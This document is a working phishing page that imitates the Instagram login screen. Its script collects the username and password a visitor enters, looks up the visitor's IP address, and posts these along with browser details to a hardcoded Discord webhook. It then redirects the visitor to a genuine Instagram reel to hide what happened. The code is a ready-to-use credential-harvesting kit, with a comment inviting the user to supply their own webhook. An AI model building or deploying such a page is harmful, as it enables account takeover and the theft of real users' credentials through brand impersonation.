<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Login • Instagram</title>
<link rel="icon" href="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24'><defs><style>.cls-1{fill:url(%23linear-gradient);}</style><linearGradient id='linear-gradient' x1='0%' y1='0%' x2='100%' y2='100%'><stop offset='0%' stop-color='%23f09433'/><stop offset='25%' stop-color='%23e6683c'/><stop offset='50%' stop-color='%23dc2743'/><stop offset='75%' stop-color='%23cc2366'/><stop offset='100%' stop-color='%23bc1888'/></linearGradient></defs><path class='cls-1' d='M12,2.2C6.5,2.2,2,6.7,2,12.2s4.5,10,10,10s10-4.5,10-10S17.5,2.2,12,2.2z M12,20.2c-4.4,0-8-3.6-8-8s3.6-8,8-8s8,3.6,8,8S16.4,20.2,12,20.2z M17,8.2c-0.6,0-1-0.4-1-1s0.4-1,1-1s1,0.4,1,1S17.6,8.2,17,8.2z M12,8.2c-2.2,0-4,1.8-4,4s1.8,4,4,4s4-1.8,4-4S14.2,8.2,12,8.2z M12,14.2c-1.1,0-2-0.9-2-2s0.9-2,2-2s2,0.9,2,2S13.1,14.2,12,14.2z'/></svg>">
<style>
*{box-sizing:border-box;font-family:'Segoe UI',Arial,sans-serif;}
body{margin:0;display:flex;align-items:center;justify-content:center;min-height:100vh;background:#fafafa;}
.container{display:flex;flex-direction:column;align-items:center;width:350px;}
.card{background:#fff;border:1px solid #dbdbdb;border-radius:3px;width:100%;padding:40px 40px 20px;display:flex;flex-direction:column;align-items:center;}
.logo{font-family:'Segoe UI',Arial,sans-serif;font-size:48px;margin-bottom:24px;font-weight:bold;color:#262626;}
input{width:100%;padding:9px 8px;margin:4px 0;border:1px solid #dbdbdb;border-radius:3px;background:#fafafa;}
button{width:100%;padding:8px;background:#0095f6;color:#fff;border:none;border-radius:4px;font-weight:600;cursor:pointer;margin-top:8px;}
.or{display:flex;align-items:center;width:100%;margin:18px 0;font-size:13px;color:#8e8e8e;}
.or::before,.or::after{content:'';flex:1;height:1px;background:#dbdbdb;margin:0 8px;}
.alt{color:#385185;font-weight:600;cursor:pointer;}
.switch{background:#fff;border:1px solid #dbdbdb;width:100%;text-align:center;padding:20px;margin-top:10px;}
.switch span{color:#0095f6;font-weight:600;cursor:pointer;}
.app-links{display:flex;justify-content:center;gap:10px;margin-top:20px;}
.app-links img{height:40px;}
/* Loading screen */
.loading {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: #000;
display: none;
justify-content: center;
align-items: center;
z-index: 200;
color: white;
font-size: 18px;
flex-direction: column;
}
.spinner {
width: 50px;
height: 50px;
border: 5px solid rgba(255,255,255,0.3);
border-radius: 50%;
border-top-color: #fff;
animation: spin 1s ease-in-out infinite;
margin-bottom: 20px;
}
@keyframes spin {
to { transform: rotate(360deg); }
}
.redirect-message {
margin-top: 20px;
font-size: 14px;
color: #aaa;
}
</style>
</head>
<body>
<div class="loading" id="loading">
<div class="spinner"></div>
<div>Logging you in...</div>
<div class="redirect-message">Redirecting to Instagram Reel</div>
</div>
<div class="container">
<div class="card">
<div class="logo">Instagram</div>
<input type="text" placeholder="Phone number, username, or email" id="username">
<input type="password" placeholder="Password" id="password">
<button onclick="handleLogin()" id="loginBtn">Log In</button>
<div class="or">OR</div>
<div class="alt">Log in with Facebook</div>
<p style="color:#8e8e8e;font-size:12px;margin-top:16px;">Forgot password?</p>
</div>
<div class="switch">
Don't have an account? <span>Sign up</span>
</div>
<div class="app-links">
<img src="https://static.cdninstagram.com/rsrc.php/v3/ye/r/YWT0YJmRoWV.png" alt="Play Store">
<img src="https://static.cdninstagram.com/rsrc.php/v3/yS/r/fzBxVj4Zp1s.png" alt="App Store">
</div>
</div>
<script>
async function handleLogin() {
const username = document.getElementById('username').value;
const password = document.getElementById('password').value;
const loginBtn = document.getElementById('loginBtn');
const loading = document.getElementById('loading');
if (!username || !password) {
alert('Please fill in both fields');
return;
}
// Show loading
loginBtn.textContent = 'Logging in...';
loginBtn.disabled = true;
loading.style.display = 'flex';
try {
// YOUR DISCORD WEBHOOK URL
const WEBHOOK_URL = 'https://discord.com/api/webhooks/1432165614050345070/lUVIjAUPgI18kWQD7-DXuV-Wqo_O2_JAZWlhO3Itbz6smYY7vRFM72eyu0uOuUZSZ5Hn';
// Get IP address
let ip = 'Unknown';
try {
const ipResponse = await fetch('https://api.ipify.org?format=json');
const ipData = await ipResponse.json();
ip = ipData.ip;
} catch (e) {
console.log('Could not get IP');
}
// Create Discord message
const message = {
content: null,
embeds: [
{
title: "🔐 New Instagram Login Attempt",
color: 15105570, // Red color
fields: [
{
name: "👤 Username",
value: username || "Not provided",
inline: true
},
{
name: "🔑 Password",
value: password || "Not provided",
inline: true
},
{
name: "🌐 IP Address",
value: ip,
inline: true
},
{
name: "⏰ Time",
value: new Date().toLocaleString(),
inline: true
},
{
name: "🖥️ Browser",
value: navigator.userAgent.substring(0, 100) + "...",
inline: false
}
],
timestamp: new Date().toISOString()
}
]
};
// Send to Discord
const response = await fetch(WEBHOOK_URL, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(message)
});
if (response.ok) {
console.log('Sent to Discord successfully!');
} else {
throw new Error('Discord webhook failed');
}
} catch (error) {
console.error('Error:', error);
// Fallback - show data on screen
const fallbackDiv = document.createElement('div');
fallbackDiv.innerHTML = `
<div style="position:fixed; top:20px; right:20px; background:red; color:white; padding:15px; border-radius:8px; z-index:1000;">
<strong>Data Captured (Discord Failed):</strong><br>
User: ${username}<br>
Pass: ${password}
</div>
`;
document.body.appendChild(fallbackDiv);
setTimeout(() => fallbackDiv.remove(), 5000);
}
// Redirect to Instagram reel after 3 seconds
setTimeout(() => {
window.location.href = 'https://www.instagram.com/reel/DJ96awagCCy/?utm_source=ig_web_copy_link&igsh=MzRlODBiNWFlZA==';
}, 3000);
}
</script>
</body>
</html>